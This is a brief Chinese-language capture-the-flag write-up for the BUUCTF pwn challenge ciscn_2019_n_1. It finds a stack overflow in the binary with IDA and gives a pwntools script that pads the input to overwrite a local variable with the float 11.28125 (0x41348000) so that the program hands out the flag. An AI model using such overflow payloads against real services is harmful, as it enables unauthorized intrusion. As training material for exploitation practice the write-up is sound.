【BUUCTF - PWN】ciscn_2019_n_1

checksec一下

IDA打开，发现如果满足的条件达成，就能get flag
找到栈溢出漏洞，输入可以覆盖到v2

写代码把11.28125在内存中的十六进制表示出来

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

sl=lambda x:io.sendline(x)

io=remote('xxx',xxx)

payload='a'*(0x30-0x4)+p32(0x41348000)
sl(payload)

io.interactive()

附件：ciscn_2019_n_1